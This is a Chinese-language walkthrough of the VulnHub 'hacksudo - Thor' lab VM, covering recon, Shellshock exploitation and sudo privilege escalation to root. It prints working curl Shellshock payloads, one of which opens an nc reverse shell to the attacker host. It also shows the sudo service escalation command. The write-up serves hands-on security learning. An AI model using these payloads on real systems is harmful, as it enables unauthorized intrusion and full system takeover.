hacksudo -Thor靶场实战详解
靶机下载链接:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
0x01 网络配置
这里简单介绍下我的网络配置,我这里用的是Vmware kali 和 virtual box 的靶机
vmware kali 配置了两块网卡 :


靶机网络配置:


0x02信息搜集
首先使用下面这条命令来发现靶机的ip地址
arp-scan -l -I eth1

到这里我们知道了靶机的ip:192.168.27.5 顺便讲一下kali的ip:192.168.27.2
接下来我们开始使用nmap来扫描靶机开放的端口和服务
nmap 192.168.27.5

我们通过上图可以发现只开放了 22端口的ssh服务和80端口的http服务,所以接下来我们通过浏览器去访问8端口的http服务看是否能有所发现

经过访问发现,只有一个登录框可能会存在入手点,其他地方不存在什么问题,于是在对登录框尝试万能密码登录和暴力破解均失败后,我开始使用dirseach来进行目录和文件扫描

通过上图我们发现了一个cgi-bin的目录,接下来针对该目录再次进行目录和文件扫描
dirsearch -u http://192.168.27.5/cgi-bin/ -f -e cgi,sh


0x03漏洞发现及利用
通过对cgi-bin目录的扫描,我发现了shell.sh 和 backup.cgi这两个文件,由于之前了解过破壳漏洞的相关知识,所以我猜测这里可能会存在破壳漏洞,没有了解过破壳漏洞的师傅可以在我文末给出的文章链接中学习一下破壳漏洞的相关知识。
为了测试破壳漏洞是否存在,我构造了payload尝试执行命令
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.27.5/cgi-bin/shell.sh

通过上图可知,靶机正常执行了我们的命令并返回了结果,并且我们知道了该靶机上存在nc,所以我们可以利用破壳漏洞进行反弹shell
首先在kali上监听4444端口
nc -lvnp 4444
然后在kali上执行下面的payload用于触发破壳漏洞从而执行反弹shell的命令
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc 192.168.27.2 4444 -e /bin/bash'" \http://192.168.27.5/cgi-bin/shell.sh

我们通过上图可以看到kali已经收到了反弹回来的shell,然后优化一下终端显示
python -c 'import pty;pty.spawn("/bin/bash")' #使用python获取交互式shell,实际上也就是模拟了一个虚拟终端

0x04权限提升
sudo -l #发现了一个可以以thor用户身份 无密码执行的程序

sudo -u thor /home/thor/./hammer.sh #以用户thor的身份执行这个程序

发现这个程序会以thor的身份执行命令,尝试通过这个程序执行bash命令,如果这个命令执行成功,那么我就可以获取到一个具有普通用户(thor)权限的shell,实现从www-data到普通用户权限的权限提升。

我们可以看到这个程序成功执行了bash权限,现在我获取到了一个普通用户的shell

使用sudo -l 发现 可以以root用户 无密码执行 cat 和service命令 然后我这里会用到一个在线网站,这个网站列出了所有高权限可以被用于提权的命令清单和提权方法。 在线网站:https://gtfobins.github.io/
经过搜索得知,高权限的service可以被用于提权

提权命令如下:
sudo service ../../bin/sh

通过上图我们发现已经成功提权至root权限,本次打靶到这里就结束了,在这次打靶过程中使用了破壳漏洞突破了边界拿到了shell,然后利用了权限配置不当的程序实现了从www-data到普通用户权限的提升,接着又利用了具有高权限的service命令实现了从普通用户到root用户的提权,总体来讲这个靶机难度不大,颇有收获。
参考资料:查询可用于sudo、suid提权命令及方法的网站:https://gtfobins.github.io/
破壳漏洞利用及分析:https://www.freebuf.com/articles/system/279713.html